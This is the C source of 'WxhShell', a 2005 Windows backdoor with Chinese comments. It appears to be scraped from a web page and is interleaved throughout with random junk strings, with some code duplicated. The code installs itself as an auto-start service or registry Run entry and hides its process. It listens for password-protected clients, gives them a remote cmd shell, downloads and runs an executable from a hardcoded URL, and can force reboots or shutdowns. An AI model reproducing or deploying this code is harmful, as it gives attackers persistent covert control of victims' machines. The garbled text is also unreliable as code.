H, static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9?$Qk0jc static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3oX\q/$ NuZiLtC HANDLE hProcess; H&`0I$8m PROCESS_BASIC_INFORMATION pbi; "NR`{1f:O cKt=_4Lf HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7M;7jI/C if(NULL == hInst ) return 0; yO\.dp 8,unq3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8D3|}z? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &`+tWL6L NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gXZl3 .d{@`^dh1] if (!NtQueryInformationProcess) return 0; 6U|An* T%|{Qo<j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IiW*'0H:/ if(!hProcess) return 0; XS+2OutVo E Dh$UB) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y&;ytNG&< _Q)rI%A2 CloseHandle(hProcess); /dGpac Zi'}qs$v hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LbCcOkL/@@ if(hProcess==NULL) return 0; aX
CVC<l u7 s- HMODULE hMod; />^ sGB char procName[255]; GHeucG}? unsigned long cbNeeded; Sep/N"7~t BMaw]D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _Sa7+d( +9EG6"..@H CloseHandle(hProcess); ')eg6IC0&T S9\_ODv if(strstr(procName,"services")) return 1; // 以服务启动 :(7icHa eO7 )LM4 return 0; // 注册表启动 8zhr;Srt } w)xiiO[ L>xecep // 主模块 FFC"rG int StartWxhshell(LPSTR lpCmdLine) ,j3Yvn W { >~_oSC)E SOCKET wsl; {\:"OcP # BOOL val=TRUE; |.]sL0;4Z int port=0; GnT Cq_\ struct sockaddr_in door; Owd{; _#;UXAi if(wscfg.ws_autoins) Install(); M/<>'%sj Zw@=WW[Q`p port=atoi(lpCmdLine); 4v[Zhf4JM z[vHMJ
0 if(port<=0) port=wscfg.ws_port; +"P!es\q LR`]C] WSADATA data; MKiP3kt8 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qXF#qS-28 M%{,?a0V if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; U+[ p>iP setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Go;fQ yG door.sin_family = AF_INET; GN0s`'#"3% door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3.0t 5F<B door.sin_port = htons(port); pUV4oyGV
fX:=_c if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pi/V3D)B closesocket(wsl); kH4xP3. i
return 1; W=-:<3XL } *WzvPl$e @O]v.<8 if(listen(wsl,2) == INVALID_SOCKET) { "+dByaY closesocket(wsl); 8cKP_Ec return 1; n?a?U: } >^!)G^B Wxhshell(wsl); 6j2mr6o WSACleanup(); *'l|ws f3;.+hJ]) return 0; bz'#YM zEBUR%9 } NQ3EjARZt UiE 1TD{ // 以NT服务方式启动 Bjc<d,]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wf` e3S { (JX 9c DWORD status = 0; /^M|$JRI DWORD specificError = 0xfffffff; {e]ktj#+{ @sPuc. serviceStatus.dwServiceType = SERVICE_WIN32; %M7EOa serviceStatus.dwCurrentState = SERVICE_START_PENDING; U*Sjb%
Qb serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r)]8zK4;= serviceStatus.dwWin32ExitCode = 0; #_pQS}$ serviceStatus.dwServiceSpecificExitCode = 0; F-TDS<[S? serviceStatus.dwCheckPoint = 0; jA'7@/F/ serviceStatus.dwWaitHint = 0; Od]B;&F +"?O2PX hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :P/0 " if (hServiceStatusHandle==0) return; UD0#Tpd7 Oaj$Z-
f status = GetLastError(); ^l8&y;-T if (status!=NO_ERROR) bc3 T8( { jt?DogYx serviceStatus.dwCurrentState = SERVICE_STOPPED; bmP2nD6 serviceStatus.dwCheckPoint = 0; 0wE)1w<C~ serviceStatus.dwWaitHint = 0;
Neb") serviceStatus.dwWin32ExitCode = status; [sc4ULS & serviceStatus.dwServiceSpecificExitCode = specificError; {kOTQG?y SetServiceStatus(hServiceStatusHandle, &serviceStatus); *]K/8MbiF
return; o=)["V } <FofRFaS ;N?raz2mEi serviceStatus.dwCurrentState = SERVICE_RUNNING; @3v[L<S{ serviceStatus.dwCheckPoint = 0; EvGKcu serviceStatus.dwWaitHint = 0; D/oO@;`'c if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !;%+1j?d } }trQ<*D
k:i}xKu // 处理NT服务事件,比如:启动、停止 E``\Jre@ VOID WINAPI NTServiceHandler(DWORD fdwControl) 0J z|BE3Y { GOU>j"5}2 switch(fdwControl) 5sZqX.XVF { vxZ :l case SERVICE_CONTROL_STOP: U$m[{r2M serviceStatus.dwWin32ExitCode = 0; {8e4TD9E0 serviceStatus.dwCurrentState = SERVICE_STOPPED; P. Gmj; serviceStatus.dwCheckPoint = 0; g;-6Hg' serviceStatus.dwWaitHint = 0; w:3CWF4q] { phP% SetServiceStatus(hServiceStatusHandle, &serviceStatus); =IEei{ } XGcl9FaO} return; Mh@RO|F case SERVICE_CONTROL_PAUSE: LXq0hI serviceStatus.dwCurrentState = SERVICE_PAUSED; S4C4_*~Vd break; njGZ#{"eC case SERVICE_CONTROL_CONTINUE: \J-}Dp\0b serviceStatus.dwCurrentState = SERVICE_RUNNING; e13' dCG break; 78h!D[6 case SERVICE_CONTROL_INTERROGATE: %pUA$oUt break; z/P^Bx]r }; @3_."-d SetServiceStatus(hServiceStatusHandle, &serviceStatus); #q9cjEd_7 } .vov ,J!Y ,8&ND864v // 标准应用程序主函数 #!7b3 >} int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5J2tR6u-( { fqm-?vy} *5z"Xy3J // 获取操作系统版本 q c DJ OsIsNt=GetOsVer(); fl+dL#] GetModuleFileName(NULL,ExeFile,MAX_PATH); 9R3YUW}s %T,cR>lw // 从命令行安装 *}RV)0mif if(strpbrk(lpCmdLine,"iI")) Install(); COFCa&m9c r 3FUddF' // 下载执行文件 B#, TdP]/ if(wscfg.ws_downexe) { ['_W< if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CT[CM+ WinExec(wscfg.ws_filenam,SW_HIDE); JWVn@)s } |0$7{nQ `7
3I}%? if(!OsIsNt) { hwi$:[ // 如果时win9x,隐藏进程并且设置为注册表启动 xz*MFoE HideProc(); nq 9{{oe StartWxhshell(lpCmdLine); E6+ 6 } Xu%8Q?] else a+
s%9l if(StartFromService()) $^5c8wT // 以服务方式启动 bOdQ+Y6 StartServiceCtrlDispatcher(DispatchTable); RN ~pC else ppR;v // 普通方式启动 L8~zQV$h StartWxhshell(lpCmdLine); b@ OF bF c
% return 0; ve*m\DU } &d@N3y O)D+u@RhH @,;VMO KvNw'3Ua =========================================== gV;9lpZ2 H|s,;1# 5NN`tv +P|Z1a -jB 7CSd}@71\ (
P\oLr9 " zw}Wm4OH a]t| /Mq #include <stdio.h> wvPS0] #include <string.h> '"]QAj?N #include <windows.h> B
j z@X #include <winsock2.h> j%Wip j;c #include <winsvc.h> I9hZ&ed16 #include <urlmon.h> dw3H9(-lp `s~[q #pragma comment (lib, "Ws2_32.lib") H{ +[
,l #pragma comment (lib, "urlmon.lib") ';KZ.D !Nx'4N`&l #define MAX_USER 100 // 最大客户端连接数 I`S?2i2H #define BUF_SOCK 200 // sock buffer Ybp';8V #define KEY_BUFF 255 // 输入 buffer pe>[Ts`2F XG8UdR| #define REBOOT 0 // 重启 Z>_F:1x #define SHUTDOWN 1 // 关机 M&5De{LS} 2SJ|$VsLaE #define DEF_PORT 5000 // 监听端口 JB9s#` nD}CQ_C #define REG_LEN 16 // 注册表键长度 pg/SYEvsV #define SVC_LEN 80 // NT服务名长度 gbT1d:T e6
a]XO^ // 从dll定义API ]z"7v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -jcgxQH53 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FSHC\8siS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MxLi'R= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N6w!V]b i?]`9 z // wxhshell配置信息 }q=uI` struct WSCFG { (dQsR sA int ws_port; // 监听端口 2i~zAD' char ws_passstr[REG_LEN]; // 口令 r@ v&~pL int ws_autoins; // 安装标记, 1=yes 0=no DNGj8 1'c char ws_regname[REG_LEN]; // 注册表键名 x?n13C char ws_svcname[REG_LEN]; // 服务名 KpfQ=~' char ws_svcdisp[SVC_LEN]; // 服务显示名 +.IncY8C$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 @9\L|O'~? char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #s0Wx47~ int ws_downexe; // 下载执行标记, 1=yes 0=no cOb,Md char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6'ia^om char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fB`7f
$[ F~zrg+VDjL }; f#|
wb~ RZTC+ylj // default Wxhshell configuration i1DJ0xC] struct WSCFG wscfg={DEF_PORT, A ?ij "xuhuanlingzhe", !"s~dL,7 1, D |9ItxYu "Wxhshell", u8b^DB#+W "Wxhshell", Bw4 _hlm "WxhShell Service", V@`A:Nc_> "Wrsky Windows CmdShell Service", Z
lR2 "Please Input Your Password: ", CNrK]+> 1, C#:L.qK "http://www.wrsky.com/wxhshell.exe", VD+y4t'^ "Wxhshell.exe" cnR18NK }; :i/uRR 0%;y'd**Ck // 消息定义模块 /}R*'y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nPj
&a char *msg_ws_prompt="\n\r? for help\n\r#>"; &0JCZ/e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6w*q~{"( char *msg_ws_ext="\n\rExit."; MRa
|<yK char *msg_ws_end="\n\rQuit."; *Fm#Qek char *msg_ws_boot="\n\rReboot..."; T )"Uq char *msg_ws_poff="\n\rShutdown..."; 3mH(@-OA char *msg_ws_down="\n\rSave to "; U_
*K%h\m _aK4[*jnqh char *msg_ws_err="\n\rErr!"; V J]S" char *msg_ws_ok="\n\rOK!"; y({ EF~w |>jlmaV char ExeFile[MAX_PATH]; k8O%gO int nUser = 0; &*;E wfgZ HANDLE handles[MAX_USER]; nYts[f9e int OsIsNt; cB|Rj}40v :WAFBK/x SERVICE_STATUS serviceStatus; `xie/ SERVICE_STATUS_HANDLE hServiceStatusHandle; } .'\IR ?/FCq6o // 函数声明 .Uh|V- int Install(void); /r Z`e'} int Uninstall(void); Uq:CM6q\ int DownloadFile(char *sURL, SOCKET wsh); b";D*\=x int Boot(int flag); SZL('x,"^ void HideProc(void); ~v^I*/uY int GetOsVer(void); BM_Rlcx~ int Wxhshell(SOCKET wsl); wSIfqf+y void TalkWithClient(void *cs); >SaT?k1E int CmdShell(SOCKET sock); %G/j+Pf int StartFromService(void);
Vc?=cQ'c int StartWxhshell(LPSTR lpCmdLine);
&b!|Y B|.8+Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =` KV),\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); G_)(? iw0|A // 数据结构和表定义 ~#nbD-*# SERVICE_TABLE_ENTRY DispatchTable[] = uJu#Vr:m { MT(G=r8 {wscfg.ws_svcname, NTServiceMain}, 7MhN>a;A\ {NULL, NULL} y)0wM~E;2 }; MfK}DEJK, {p)=#Jd`.P // 自我安装 2y@y<38 int Install(void) N]7#Q.(~ { }8)iFP&" char svExeFile[MAX_PATH]; +nm?+F HKEY key; \p{$9e;8yT strcpy(svExeFile,ExeFile); khS > boWaH}?0' // 如果是win9x系统,修改注册表设为自启动 ~pve;(e= if(!OsIsNt) { 5MmSQ_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dBM> ;S;v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J>%uak< RegCloseKey(key); )R5=GHmL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {>8u/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L__J(6,V2 RegCloseKey(key); v5g]_v*F return 0; #SIIhpjA( } EViQB.3w\ } >cRE$d? } -A)XYz
else { " UxKG+ x>*#cOVz;C // 如果是NT以上系统,安装为系统服务 BY!M(X
jrZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M?m)<vMr* if (schSCManager!=0) .C?rToCY { c/ s$*" SC_HANDLE schService = CreateService ^y p`<= ( i)mQ?Y#o schSCManager, \*.u(8~2o wscfg.ws_svcname, bZ_vb? n wscfg.ws_svcdisp, 5dem~YY5 SERVICE_ALL_ACCESS, d;WXlE; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZZ@1l SERVICE_AUTO_START, L"ob))GF SERVICE_ERROR_NORMAL, ,V{Cy`bi svExeFile, 8 CN~o|uN NULL, #Ss lH NULL, *hZ{> NULL, R@Bnrk NULL, V/CZcMY_ NULL v''F\V ) ); 5"o)^8!> if (schService!=0) usz H1@g' { G'0]m-)dw CloseServiceHandle(schService); U?sio%`( CloseServiceHandle(schSCManager); JtGBNz!" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z4iZE*ZS strcat(svExeFile,wscfg.ws_svcname); RY9h^q* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FNB4YZ6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VT~jgsY RegCloseKey(key); ``9`Xq return 0; =BNS3W6 } [7*$Sd } <Z58"dg.5 CloseServiceHandle(schSCManager); +tSfx } 1 wB2:o< } `ot<BwxJ Md(h-wYr return 1; y`Km96Ui } kjOPsz*0 h:l4:{A64 // 自我卸载 TOvpv@?- int Uninstall(void) ._5"FUg { ^,WXvOy HKEY key; &R~)/y0] \CDzVO0^ if(!OsIsNt) { f{j(H?5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6i.!C5YX] RegDeleteValue(key,wscfg.ws_regname); +PGtO9}B RegCloseKey(key); UYW{AG2C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,s.{R RegDeleteValue(key,wscfg.ws_regname); Weu%&u- RegCloseKey(key); P@pJ^5Jf return 0; =V(|3?N } Wp0L!X=0
} !w #x@6yq } \]gUX- else { -|aNHZr sUEvL(%nY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BiI}JEp4o if (schSCManager!=0) 0b~{l; { NP?hoqeKs SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @/yJTMcf if (schService!=0) Zwxu3R_ { /UAcN1K!B if(DeleteService(schService)!=0) { dB%q`7O CloseServiceHandle(schService); xY,W[?3CY CloseServiceHandle(schSCManager); x;L.j7lzA; return 0; 'hn=X7 } @+ee0
CLT CloseServiceHandle(schService); 1j":j %9M } +kN/-UsB CloseServiceHandle(schSCManager); QYj 8c]8f } w +~,Mv \ } x8q3 Njr ;S_\-
]m&g return 1; rW<sQ0 } $b=4_UroS LtIw{*3 // 从指定url下载文件 %A ^qm int DownloadFile(char *sURL, SOCKET wsh) ;\[el<Y)s { Ja(>!8H>@ HRESULT hr; [sF
z ;Py] char seps[]= "/"; oiL^$y/:;z char *token; pcl'!8&7 char *file; dX8N7{"[ char myURL[MAX_PATH]; ]pi8%.d char myFILE[MAX_PATH]; r|W2I,P 5oP31 strcpy(myURL,sURL); ?}D|]i34 token=strtok(myURL,seps); 1y)|m63& while(token!=NULL) >nA6w$
{ VM [U&g<8n file=token; Dd:;8Xo token=strtok(NULL,seps); SC6cFyp2 } FsdxLMwk1 8LZmr|/F* GetCurrentDirectory(MAX_PATH,myFILE); :6}y gL*i strcat(myFILE, "\\"); AtU!8Z strcat(myFILE, file); L@t}UC send(wsh,myFILE,strlen(myFILE),0); %:~LU]KX send(wsh,"...",3,0); ~=xS\@UY = hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]J
aV +b'O if(hr==S_OK) 1tMs\e- return 0; ,&X7D] else $Z8=QlG> return 1; k@i+gV% @=kDaPme92 } /^F$cQX( h;(#^+LH // 系统电源模块 paG^W&`; int Boot(int flag) }VUrn2@-4 { ~c*$w O\ HANDLE hToken; 8ezdU" TOKEN_PRIVILEGES tkp; Rl2*oOVz W@(EEMhw if(OsIsNt) { O%KP,q&}Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &&\HE7* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O=Cz*j tkp.PrivilegeCount = 1; |re>YQ!zd tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RO?%0-6O& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wh~g{(Xvq if(flag==REBOOT) { .7"]/9oB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |z`kFil% return 0; <,S5(pZ } ~VqDh*0 else { wx,yx3c ( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `l0&,] return 0; i{9_C/ } snW=9b)m } tAM t7p- else { ~H)s>6>#v if(flag==REBOOT) { \ $PB~-Z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @D3Y}nR: return 0; `- \J/I } 37SbF,G else { 'p{N5eM if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {d%% nK~ return 0; H(~:Ajj+zQ } ?^<
E#2a } c[I4'x FYs-vW { return 1; !((J-:= } rh6gB]X]3: #EO@<>I // win9x进程隐藏模块 gq^j-!Q)Q< void HideProc(void) #nv =x&g { ("7rjQjRz P&s-U6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yi*2^??`
1 if ( hKernel != NULL ) /2n-q_ { S?M'JoYy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C " W, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b,8\i|*!f FreeLibrary(hKernel); `=zlS"dQ
} qkEre M!9gOAQP return; U>,E]' } ka^sOC+Y K9*vWoP' // 获取操作系统版本 ^4\hZ int GetOsVer(void) c8^M::NI { $@[`v0y* OSVERSIONINFO winfo; c89+}]mGq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ds*N1[
* GetVersionEx(&winfo); R.FC3<TTv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hj>(kL9H return 1; W@vt6v else #c?xJ&bh return 0; l.
9
i ` } *" ("^_x\ *K<|E15 , // 客户端句柄模块 0Q]ZS int Wxhshell(SOCKET wsl) ZJ$nHS?ra { R8*z}xy{ SOCKET wsh; "
aEk#W struct sockaddr_in client; G=.vo3 DWORD myID; /s'7[bSv )H'SU_YU while(nUser<MAX_USER) %]2hxTV { t8}R?%u int nSize=sizeof(client); r\+0J` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6dCS Gb if(wsh==INVALID_SOCKET) return 1; /3VSO"kcZ 5-3.7CO$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gyz#:z$p^ if(handles[nUser]==0) Q(3Na 6 closesocket(wsh); %a_ rYrL else w=ib@_:f nUser++; 8,0WHivg } Ly7|:IbC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hz*5ZIw .9cQq/{b return 0; x?aNK$A~X } n7J6YtUwP eVXlQO // 关闭 socket g?e$B}% void CloseIt(SOCKET wsh) &$1ifG { &^v5 x" closesocket(wsh); pn:) Rq0 nUser--; X{ZcJ8K ExitThread(0); Z8 X=Md8= } ;V=Y#|o bc?\lD$$ // 客户端请求句柄 {Tps3{|wt void TalkWithClient(void *cs) J|uxn<E<> { 5a`f%
h% hnk,U:7} SOCKET wsh=(SOCKET)cs; LXZ0up-B- char pwd[SVC_LEN]; :"vW;$1
} char cmd[KEY_BUFF]; Cggu#//Z}Q char chr[1]; Ap:mc: int i,j; wb#ZRmx} e2~$=f- while (nUser < MAX_USER) { bvxol\7 ; @d+NeS if(wscfg.ws_passstr) { ,EE,W0/zzM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YR 5C`o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EO_:C9=d{ //ZeroMemory(pwd,KEY_BUFF); -KuC31s_W i=0; B"@3Q av3 while(i<SVC_LEN) { %OIJ. 7CK3t/3D // 设置超时 B$Z%_j& fd_set FdRead; z154lY}K struct timeval TimeOut; u{6b>c|,X FD_ZERO(&FdRead); t-;zgW5mwF FD_SET(wsh,&FdRead); iFJ1}0<(x TimeOut.tv_sec=8; R/_bk7o]H TimeOut.tv_usec=0; zF)&o} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 69 >- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /S9(rI<' `/"rs@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 17
k9h?s* pwd=chr[0]; ccdP}|9e if(chr[0]==0xd || chr[0]==0xa) { :Zs i5>MT pwd=0; tFi'RRZ break; v_ U$jjO1 } >-%}'iz+ i++; @L 9C_a } pL&
Zcpx xy^t_];X // 如果是非法用户,关闭 socket LA837P if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mm l`,t8 } DL t "cAW FQ3{~05T send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |[ )e5Xhd send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (uxe<'Co| $ouw*|< while(1) { uZg[PS=@!X ~l^Q~W-+ ZeroMemory(cmd,KEY_BUFF); mB.j?@Y% MXsCm( // 自动支持客户端 telnet标准 mBrH`! j=0; @U 6jd4?) while(j<KEY_BUFF) { +sW;p?K7eO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mw\
z' cmd[j]=chr[0]; :j)v=qul if(chr[0]==0xa || chr[0]==0xd) { 1@i|[dq cmd[j]=0; `<"@&N^d break; {\-9^RL } &2P+9j> j++; M3 TsalF } Fad.!%[ mRNA ,* // 下载文件 mr6 ~8I if(strstr(cmd,"http://")) { EZY <k# send(wsh,msg_ws_down,strlen(msg_ws_down),0); P,eP>55'K if(DownloadFile(cmd,wsh))
4eRV?tE9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); $M0F~x else UZV\]Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qdOUvf } O-=~Bn
_ else { P4VMGP )Z" switch(cmd[0]) { zUIh^hbFf [Zpx
:r} // 帮助 ~0 PR>QJ case '?': { l!d |luqbA send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &>xd6- break; (v)/h>vS } DD?zbN0X // 安装 }g9g]\.!a case 'i': { 2}BQ=%E!' if(Install()) rP7[{'%r send(wsh,msg_ws_err,strlen(msg_ws_err),0); }#<mK3MBe else nj(\+l5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C5F=J8pY break; )&") J}@ } -Gyj]v5y`c // 卸载 Cd7imj case 'r': { YjR`}rdwo if(Uninstall()) Sc/\g send(wsh,msg_ws_err,strlen(msg_ws_err),0); D^30R*gV else O u-/dE% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yU{Q`6u T break; <NYf !bx } 0DB8[#i%: // 显示 wxhshell 所在路径 (>R case 'p': { h3`\L4b char svExeFile[MAX_PATH]; =>LQW;Sjz strcpy(svExeFile,"\n\r"); 6SqS\ 8 strcat(svExeFile,ExeFile); LK}*k/eG send(wsh,svExeFile,strlen(svExeFile),0); &*nq.l76X` break; +@"Ls P } e*!0|#- // 重启 0^m`jD case 'b': { H5)8TR3La send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (oxMBd+n1 if(Boot(REBOOT)) 0zHMtC1, send(wsh,msg_ws_err,strlen(msg_ws_err),0); |lG7/\A else { J/(^Z?/~P! closesocket(wsh); w~%Rxdh?8W ExitThread(0); n([9U0!gu } )s~szmJoVD break; /n3Qcht } u= =`]\_@ // 关机 }I3m8A case 'd': { ; "K"S[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >3qfo2K0 if(Boot(SHUTDOWN)) csd~)a nb send(wsh,msg_ws_err,strlen(msg_ws_err),0); GD-cP5$ else { Zn{Y+ce7d closesocket(wsh); {u(( y D ExitThread(0); @r*w 84 } Pea2ENe3 break; @km@\w } Klj -dz // 获取shell uf/4vz, case 's': { 2CY4nSKW CmdShell(wsh); &~K4I closesocket(wsh); M?ObK#l!_ ExitThread(0); 8:sQB%BB break; ]/6i#fTw } X? l5} // 退出 /_D_W,#P case 'x': { 3Ow bU send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1$#1 CloseIt(wsh); f6])M) break; 8svN*`[ } oB$c-!& // 离开 L:_GpZ_ case 'q': { )jPIBzMys send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z'!i"Jzq|{ closesocket(wsh); i1 >oRT{Z
WSACleanup(); r T"3^,, exit(1); kQw%Wpuq[/ break; V~
q
b2$ } [aF"5G } Aryp!oW } ?P%-p %
4Gt^:J" // 提示信息 %}}?Y`/W) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $e, N5/O } fda)t1u\8 } j_{f(.5
qHl>d*IZ
return; r]=Z : } =oT4!OUf &hcD/*_Z // shell模块句柄 ;Qi0j<dXd int CmdShell(SOCKET sock) <
UD90} { re)7h$f} STARTUPINFO si; E"zC6iYZ; ZeroMemory(&si,sizeof(si)); k!"6mo@rd si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [:gp_Z& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,v#O{ma PROCESS_INFORMATION ProcessInfo; }B ?_>0 char cmdline[]="cmd"; M)"'Q6ck= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @gnLY return 0; jR2^n`D } odTa2$O .G-L/*&% // 自身启动模式 <)a7Nrc\T int StartFromService(void) SajasjE!^1 { +n>p"+c typedef struct QmC#1%@a { c+upoM DWORD ExitStatus; MG,)|XpyWJ DWORD PebBaseAddress; ZV;~IaBL DWORD AffinityMask; `d}t?qWS;F DWORD BasePriority; #H]c/ ULONG UniqueProcessId; 8/<+p? 3p> ULONG InheritedFromUniqueProcessId; U'LPaf$O } PROCESS_BASIC_INFORMATION; kD
me>E= t\WU}aKML PROCNTQSIP NtQueryInformationProcess; ~~3*o :(YFIW`59 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4YgO1}%G static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~wQ M
?h 'Ll'8 ps HANDLE hProcess; S.; ahce PROCESS_BASIC_INFORMATION pbi; Z.b?Jzj W1JvLU5L*r HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @:}l a if(NULL == hInst ) return 0; ?=,7'@e 3Mq%3jX g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'iU+mRLp g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -_M': NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 73l,PJ ~t<uX "K if (!NtQueryInformationProcess) return 0; +E']&v$ iXLH[uhO; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y9U~4 if(!hProcess) return 0; T m2+/qO, *z^Au7,& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
